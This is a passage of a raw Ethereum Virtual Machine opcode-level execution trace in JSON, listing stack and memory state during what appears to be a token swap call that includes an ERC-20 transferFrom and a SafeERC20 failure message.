0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3332,"op":"SWAP7","gas":2211,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3333,"op":"SWAP6","gas":2208,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x100","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x1f9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3334,"op":"POP","gas":2205,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x100","0x1f9","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3335,"op":"POP","gas":2203,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x100","0x1f9","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3336,"op":"POP","gas":2201,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x100","0x1f9","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3337,"op":"POP","gas":2199,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x100","0x1f9","0x0","0xc4","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3338,"op":"POP","gas":2197,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x100","0x1f9","0x0","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3339,"op":"POP","gas":2195,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x100","0x1f9","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3340,"op":"JUMP","gas":2193,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x100","0x1f9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":505,"op":"JUMPDEST","gas":2185,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":506,"op":"PUSH1","gas":2184,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":508,"op":"MLOAD","gas":2181,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x100","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":509,"op":"PUSH2","gas":2178,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x100","0x3a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":512,"op":"SWAP2","gas":2175,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x100","0x3a4","0x1a2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000